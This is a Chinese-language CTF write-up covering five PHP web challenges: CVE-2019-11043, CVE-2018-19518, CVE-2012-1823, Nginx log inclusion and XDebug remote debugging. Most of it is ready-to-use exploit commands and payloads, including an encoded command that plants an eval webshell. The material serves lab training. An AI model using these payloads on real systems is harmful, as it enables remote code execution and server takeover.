作者:Quiet静以修身 | 来源:互联网 | 2023-09-10 17:21
目录web311:CVE-2019-11043影响版本复现环境漏洞利用安装报错web312:CVE-2018-19518影响版本漏洞简介漏洞利用web313:CVE-2012-18
目录
- web311:CVE-2019-11043
- web312:CVE-2018-19518
- web313:CVE-2012-1823
- web314:日志包含
- web315:XDebug 远程调试漏洞
- Reference
web311:CVE-2019-11043
影响版本
PHP 5.6-7.x
Nginx>=0.7.31
nginx配置了fastcgi_split_path_info
复现环境
需要 golang 环境
sudo apt install golang
漏洞利用
下载 exp:https://github.com/neex/phuip-fpizdam
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
执行命令换代理:go env -w GOPROXY=https://goproxy.cn
执行go get -v && go build
利用:
go run . "http://xxx.xxx.xxx.xxx/index.php"
getshell,要多执行几次。
安装报错
只需要更新一下就可以了。
sudo apt-get update
sudo apt --fix-broken install -y
web312:CVE-2018-19518
影响版本
PHP:5.6.38
系统:Debian/ubuntu
漏洞简介
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
漏洞利用
先对 shell base64 编码
=> PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=
。
再对 echo "PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=" | base64 -d > /var/www/html/shell.php
进行一次base64编码,ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA==
,若有 =或者+
需 url 编码一次。
最后将 hostname 的内容替换为 x+-oProxyCommand%3decho%09编码后的命令|base64%09-d|sh}
,也就是:
x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA%3D%3D|base64%09-d|sh}
虽然报错了,但是文件已经写入。
web313:CVE-2012-1823
影响版本
影响版本 php <5.3.12 or php <5.4.2
形成原因
用户请求的querystring被作为了php-cgi的参数。
详细原理可以看P神的PHP-CGI远程代码执行漏洞&#xff08;CVE-2012-1823&#xff09;分析
访问http://your-ip:8080/index.php?-s即爆出源码&#xff0c;说明漏洞存在。
漏洞利用
cgi模式下有如下一些参数可用&#xff1a;
- -c 指定php.ini文件的位置
- -n 不要加载php.ini文件
- -d 指定配置项
- -b 启动fastcgi进程
- -s 显示文件源码
- -T 执行指定次该文件
- -h和-? 显示帮助
有了这些参数&#xff0c;其中更是有配置项参数&#xff0c;也就是说我们可以配置 auto_prepend_file
来制造任意文件包含漏洞。
payload:
/index.php?-d&#43;allow_url_include%3don&#43;-d&#43;auto_prepend_file%3dphp%3a//input
web314:日志包含
代码分析
过滤了冒号&#xff0c;也就是说伪协议不行了&#xff0c;那么还可以日志包含&#xff0c;或者利用 session.upload_progress 进行文件包含。这题可以利用日志包含。
漏洞利用
利用 User-Agent
把shell写入日志&#xff0c;然后再包含日志就可以了&#xff0c;又因为使用的是 Nginx 服务器&#xff0c;所以默认日志位置为 /var/log/nginx/access.log
。
User-Agent:
发两次&#xff0c;第一次写shell进日志&#xff0c;第二次包含才能运行。
web315:XDebug 远程调试漏洞
利用前提
目标开启了远程调试模式&#xff0c;并设置remote_connect_back &#61; 1&#xff1a;
xdebug.remote_connect_back &#61; 1
xdebug.remote_enable &#61; 1
利用原理
在上面的配置下&#xff0c;我们访问http://target/index.php?XDEBUG_SESSION_START&#61;phpstorm&#xff0c;目标服务器的XDebug将会连接访问者的IP&#xff08;或X-Forwarded-For头指定的地址&#xff09;并通过dbgp协议与其通信&#xff0c;我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
详细讲解处&#xff1a;Xdebug: A Tiny Attack Surface
exp: https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py
指定目标web地址、待执行的php代码即可&#xff1a;
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c &#39;shell_exec(&#39;id&#39;);&#39;
重要说明&#xff1a;因为该通信是一个反向连接的过程&#xff0c;exp.py启动后其实是会监听本地的9000端口&#xff08;可通过-l参数指定&#xff09;并等待XDebug前来连接&#xff0c;所以执行该脚本的服务器必须有外网IP&#xff08;或者与目标服务器处于同一内网&#xff09;。
Reference
https://blog.csdn.net/qq_42880719/article/details/122513194
vulhub靶场